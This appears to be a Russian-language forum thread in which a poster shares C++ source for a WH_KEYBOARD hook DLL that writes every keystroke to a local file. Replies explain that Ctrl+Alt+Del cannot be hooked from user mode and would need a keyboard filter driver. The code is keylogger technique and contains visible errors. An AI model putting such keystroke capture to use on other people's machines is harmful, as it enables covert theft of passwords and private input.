Нужно в обработчике хука WH_KEYBOARD улавливать нажатия клавиш на клавиатуре и писать в файл. В wParam имеем код виртуальной клавиши, а в 16-23 бите lParam скан-код. При таком коде программа некорректно перехватывает Alt+Tab (Alt пишет в файл, таб -- нет), Ctrl+Alt+Del (Del не пишет), возможно, есть еще такие комбинации.
Текст дллки с функцией-обработчиком хука:
#include "hook.h"
#include <fstream>
using namespace std;
EXPORT LRESULT CALLBACK on_wm_char(int nCode, WPARAM wParam, LPARAM lParam){
//31-й бит lParam -- флаг состояния клвиши. 1 => нажата
if (!(HIWORD(lParam) & 0x8000)){
fstream f;
f.open(L"E:\\file.txt", ios::app);
TCHAR key[32] = L"";
//нажата символьная. В диапазоне кодов (0x30 ~ 0x5A) задефайнены все символьные клавиши
//сочетаня нажатия символьных клавиш и Ctrl обрабатываем без учета раскладки, иначе баг
if (((wParam>=0x30) & (wParam<=0x5A))&(GetKeyState(VK_CONTROL)>0)){
BYTE key_array[256];
GetKeyboardState(key_array);
WORD buf;
//Получаем название клавиши с учетом текущей раскладки
ToAscii(wParam,HIWORD(LOBYTE(lParam)), key_array,&buf,NULL);
f<<(char)buf<<'\n';
}
//Нажата не символьная клавиша
else{
//Получение названия клавиши по скан-коду
GetKeyNameText(lParam, key, sizeof(key));
char key_c[32];
CharToOem(key,key_c);
f<<key_c><<'\n';
f.close();
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
В принципе это не критично, что оно их не улавливает, но для достижения дзена хотелось бы устранить проблему:)
Три волшебных кнопки - это комбинация SAS (Secure Attention Sequence)
SAS перехватить нельзя. В винде, в коде обработки комбинаций клавиш есть специальный case-блок для Ctrl+Alt+Del, который отключает хуки, исключая возможность перехвата данной комбинации :)
Ее обрабатывает winlogon. Для перехвата надо ставить фильтр в стек драйвера клавиатуры.
С Alt+Tab примерно та же фишка.
Доу. Эт выходит, что эти комбинации нельзя "погасить" хуками...
Из юзермода - нет
Кстати, чтобы ворум не резал форматирование кода нужно вместо табуляций в начале строки юзать последний символ из кодировки доса => " ", он стоит сразу после "■".
В таблице символов вин можно его найти.
Ух ты... :) Пасиба.
Я что-то даже внимания не обратил, что код отформатирован :)